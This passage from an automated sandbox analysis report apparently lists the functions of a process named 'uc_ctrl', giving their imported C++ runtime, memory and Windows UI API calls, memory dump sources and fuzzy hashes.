Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6D1AE553
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6D1AE572
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE58B
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5A4
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6D1AE5C3
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE5DC
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE5F5
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6D1AE614
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE629

Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6D1AE561
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6D1AE5B2
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE603
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE65A
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE679
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE68E
Part of subcall function 6D1AE4AE: _Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6AD
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6C1
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6E0
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE6F5
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE70E
Part of subcall function 6D1AE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE72D
Part of subcall function 6D1AE4AE: new.LIBCMT ref: 6D1AE746
Part of subcall function 6D1AE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE75F

Strings

:AM:am:PM:pm, xrefs: 6D1B8C90

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$W@std@@$??4?$_Locinfo@std@@V01@Yarn@_free$??0?$ctype@_Concurrency::cancel_current_taskGetcollGetcvtGetdaysGetdays@_GetmonthsGetmonths@_H_prolog3Locinfo@1@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcallocmemcpy
String ID: :AM:am:PM:pm
API String ID: 1405456877-1966799564
Opcode ID: 50c18e0eb0c14a7b10614425c3fb414065126c987ec455213e7fafd2ee6726d9
Instruction ID: 85adcb0aca52ce059db123f05ce050e044771f10cf91186bbaa75b694dca5931
Opcode Fuzzy Hash: 50c18e0eb0c14a7b10614425c3fb414065126c987ec455213e7fafd2ee6726d9
Instruction Fuzzy Hash: 65F05E3AA042045BCB18EEB5948496A779DAB84234B05856AEE14DF249EFF0DD9087D0

Function 00B37790 Relevance: 6.5, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,59AF50C9,59AF50C9,59AF50C8), ref: 00B377ED
isalnum.API-MS-WIN-CRT-STRING-L1-1-0(00000000,59AF50C8), ref: 00B37818
memchr.VCRUNTIME140(00B41000,?,00000040,?,?,?,?,?,?,59AF50C8,?,?), ref: 00B37871
memchr.VCRUNTIME140(00B41000,?,00000040,59AF50C8), ref: 00B37941
memcpy.VCRUNTIME140(?,59AF50C8,-00000001,59AF50C8), ref: 00B379AA

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: memchr$isalnummemcpymemset
String ID:
API String ID: 2613388124-0
Opcode ID: 056ea4ca6628ac92cbc293483dccc93f79bda173d07869f33298b23f839e3db0
Instruction ID: 4513bb03a43d3152280b3755b4f6da6aa7347b380fd5b85cd915c7ab34ee3672
Opcode Fuzzy Hash: 056ea4ca6628ac92cbc293483dccc93f79bda173d07869f33298b23f839e3db0
Instruction Fuzzy Hash: 557148B2D482859FDB218F5DC8947FFBBE4EF26310F1406E8D85493342CA359A09C7A0

Function 00B332D0 Relevance: 6.4, APIs: 4, Instructions: 397COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,59AF50C8,?,?), ref: 00B3348F
memset.VCRUNTIME140(?,00000000,00000040,?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,59AF50C8), ref: 00B334A9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,00000020,00000000,00000000,?,59AF50C8,?,?), ref: 00B336C2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000020,00000000,00000000,?,59AF50C8,?,?), ref: 00B337A8

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemset
String ID:
API String ID: 1654775311-0
Opcode ID: b308e3895fbd51ba19f5e28a4e7c3cd184496f7e3585ed9a66dfbe4dc182a25d
Instruction ID: 75b8202f159227aa1278cfeccbd148c764817444991a85351ef4f6d2bca7fe2b
Opcode Fuzzy Hash: b308e3895fbd51ba19f5e28a4e7c3cd184496f7e3585ed9a66dfbe4dc182a25d
Instruction Fuzzy Hash: B2F1AB70A042589FCB24CF68C895B9EB7F1BF45710F6082D8E445AB395DB74AE85CF90

Function 6CF2AEE0 Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF2AEE7
LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00002000), ref: 6CF2B08A
GetObjectW.GDI32(00000000,00000018,?), ref: 6CF2B09C
DeleteObject.GDI32(00000000), ref: 6CF2B0F4

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Object$DeleteH_prolog3ImageLoad
String ID:
API String ID: 91933946-0
Opcode ID: 5d193ae3e09880a7c083cf88a55668cbd47d07e3b6db72f22d892a984fde8084
Instruction ID: 12a2e56ec5f93fcf1d02e95b6c3c1ff5d4db6019d1a250f2a5379188fd9a2196
Opcode Fuzzy Hash: 5d193ae3e09880a7c083cf88a55668cbd47d07e3b6db72f22d892a984fde8084
Instruction Fuzzy Hash: AF719C71801215CBDF15CFA4C8907EEBBB4BF09314F2086ADEC25AB785CB399945CBA5

Function 6D1BC0E0 Relevance: 6.2, APIs: 4, Instructions: 167COMMON

Download Yara Rule

APIs

_Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6D1BC24A

Part of subcall function 6D1AAEBE: ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6D1AB1AA,00000000,?,6D1AA481,?,?,?,?,00000800,00000000), ref: 6D1AAEC7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ?sgetc@?$basic_streambuf@D@std@@@std@@StolxU?$char_traits@
String ID:
API String ID: 193167402-0
Opcode ID: 7d4cbd1928a2add5abca415ff4ddcd830e17db167f4ad71c2845241c42102d36
Instruction ID: 274389444df40d4d82376bac191d56fdbfe6eed1c20a3cefbb0d3dee17217d81
Opcode Fuzzy Hash: 7d4cbd1928a2add5abca415ff4ddcd830e17db167f4ad71c2845241c42102d36
Instruction Fuzzy Hash: BE519175E492499FCF01CFF8D890AEDBBB6AF59204F194099E85077349C7B05D05CBA1

Function 6CF1CA6C Relevance: 6.2, APIs: 4, Instructions: 158windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF1CA73
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 6CF1CB57
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6CF1CBF7
InvalidateRect.USER32(?,00000000,00000001,00000000), ref: 6CF1CC21

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3InvalidateRect
String ID:
API String ID: 1245545628-0
Opcode ID: 31aeb0b14131477aca7a1c63926ff906b50d7b38169be5e84351811a884a8853
Instruction ID: ec99f82979cd3a2cee29e9f746d28d445f7f47c4a93f6adfedee7bee742274c3
Opcode Fuzzy Hash: 31aeb0b14131477aca7a1c63926ff906b50d7b38169be5e84351811a884a8853
Instruction Fuzzy Hash: 7951A2317051119BEE06EB248C94B7DB7B6BF88318F15016DE925AB7D0DF716D02CB86

Function 6D19C550 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_FDtest.MSVCP140(?), ref: 6D19C558
_FExp.MSVCP140(?,?,000000FF), ref: 6D19C628
_FExp.MSVCP140(?,?,000000FF), ref: 6D19C64B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19C65E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Dtest_errno
String ID:
API String ID: 3263362069-0
Opcode ID: bb41c58753a333d3f17a05ea5f34b4b630e09dfb1114ac7f30926c0fcc017b68
Instruction ID: 49260b37acbe025d166e4c15eb62035fc7d9736bf98335d4161aac03b400e678
Opcode Fuzzy Hash: bb41c58753a333d3f17a05ea5f34b4b630e09dfb1114ac7f30926c0fcc017b68
Instruction Fuzzy Hash: 69416AB2E0410AFBDF026E54D6483D87F75FB02790F228680D9D57929CEBB18B648ED4

Function 6CF589F1 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6CF58AC6
SetRectEmpty.USER32(?), ref: 6CF58AD3
SetRectEmpty.USER32(?), ref: 6CF58B90
SetRectEmpty.USER32 ref: 6CF58BEF

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: 55ce9744ddcf7a9a3c7c134b1191992d46241407005f419f5382d36a6118493b
Instruction ID: c47726afbb1a0e52e015ba530ef2d492e1f0dbf48c3535e558aa5b46d9bc01de
Opcode Fuzzy Hash: 55ce9744ddcf7a9a3c7c134b1191992d46241407005f419f5382d36a6118493b
Instruction Fuzzy Hash: A151D6B09212259FCB648F29C4C46E53BE8BB09B54F1841BBED0DCFA5ACBB05145DFA1

Function 6CEF8EBC Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEFD632: GetWindowLongW.USER32(?,000000F0), ref: 6CEFD63F

GetClientRect.USER32(?,?), ref: 6CEF8F2B
IsMenu.USER32(?), ref: 6CEF8F67
AdjustWindowRectEx.USER32(?,00000000,00000000), ref: 6CEF8F7A
GetClientRect.USER32(?,?), ref: 6CEF8FC7

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$ClientWindow$AdjustLongMenu
String ID:
API String ID: 3435883281-0
Opcode ID: 4da0457f9c85a075053e111198b5032885ba5000475a5f6273e0300acb80e46a
Instruction ID: 5ed37c3684a64124e0edbb7fb6981418790d9a0f251d43911494b79dd608807d
Opcode Fuzzy Hash: 4da0457f9c85a075053e111198b5032885ba5000475a5f6273e0300acb80e46a
Instruction Fuzzy Hash: 59318572E00219AFDB11DFA5C944EBFBBB9FF89218B21415EE815A7740DB309E01CB91

Function 6CF14A78 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6CF14AF8
RedrawWindow.USER32(?,?,00000000,00000105), ref: 6CF14B0D
IsRectEmpty.USER32(?), ref: 6CF14B5F
RedrawWindow.USER32(?,?,00000000,00000105), ref: 6CF14B8A

Part of subcall function 6CF14BA3: RedrawWindow.USER32(00000000,?,00000000,00000105), ref: 6CF14C16

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: RedrawWindow$EmptyRect
String ID:
API String ID: 138230908-0
Opcode ID: 15f4015de19294dde8d2fb02078a5514ede17463dc58360ca79d1545490ccf36
Instruction ID: 78cc0568c8ac201e3b35f123c69b232f6d70c1ad8e0aa3f10b01d1bf658b2037
Opcode Fuzzy Hash: 15f4015de19294dde8d2fb02078a5514ede17463dc58360ca79d1545490ccf36
Instruction Fuzzy Hash: 21319C72A06614ABCF05DF50C884FEEBBB9EF89319F151069FD05AF640C771AA45CBA0

Function 6D03A95C Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,9F418D08,6D031EAD,00000000,00000000,6CF697B2,00000000,?,00000000,00000001,6D031EAD,9F418D08,00000001,6CF697B2,6CF697B2), ref: 6D03A9A9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6D03AA32
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6D03AA44
__freea.LIBCMT ref: 6D03AA4D

Part of subcall function 6D033481: HeapAlloc.KERNEL32(00000000,?,?,?,6CEEA014,?,00000001,?,?,6CED0D34,?), ref: 6D0334B3

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeapStringType__freea
String ID:
API String ID: 573072132-0
Opcode ID: 222734b2da49686e4e92764e58c0ffc0055bf1e19e00a0efaf914819e60590c6
Instruction ID: 51b8b143ef358775f8fb58e5418a6b7a5b3c2861287e97fbb96aca51453a5be7
Opcode Fuzzy Hash: 222734b2da49686e4e92764e58c0ffc0055bf1e19e00a0efaf914819e60590c6
Instruction Fuzzy Hash: D031BC32A0066BABEF15CF65CC84FEE3BA5EB45610B124169FC14DB250EB35C950CBA0

Function 6CF0ABAF Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6CF0ABD8
GetClientRect.USER32(?,?), ref: 6CF0AC1F
GetWindowRect.USER32(?,?), ref: 6CF0AC65
GetSystemMetrics.USER32(00000007), ref: 6CF0AC79

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$ClientMetricsParentSystemWindow
String ID:
API String ID: 2120119201-0
Opcode ID: 970311e0731d6d8eeddb54e1bbaff225ff0400a6ac60a07a14c42fc117d03e71
Instruction ID: d77383377ec017eed9fb00bb660f9192adfa244e6ef2d1faf5b22373c147a82a
Opcode Fuzzy Hash: 970311e0731d6d8eeddb54e1bbaff225ff0400a6ac60a07a14c42fc117d03e71
Instruction Fuzzy Hash: FD31F9B1E01209AFCF01DFA8D984AEEBBF5FF09714B10456AE915FB200EB71A945CB54

Function 6D1C2160 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2167

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6D1C21BE
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6D1C2213
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000001,0000001C), ref: 6D1C2261

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 2548540298-0
Opcode ID: 38dd3cdffc5e8ea1d1df2604a15ac6fa599cc1214104c114bba991c09d4b7342
Instruction ID: 6f322709b75a29bd8be6a72acceeae7da6b871bab18a272ec36b71b583502546
Opcode Fuzzy Hash: 38dd3cdffc5e8ea1d1df2604a15ac6fa599cc1214104c114bba991c09d4b7342
Instruction Fuzzy Hash: 3431AE74A00606CFCB21DF98C490AAEBBF0FF65314F55840AE565DB3A4D7B8E941CB52

Function 6D1C8130 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8137

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,00000001,0000001C), ref: 6D1C818D
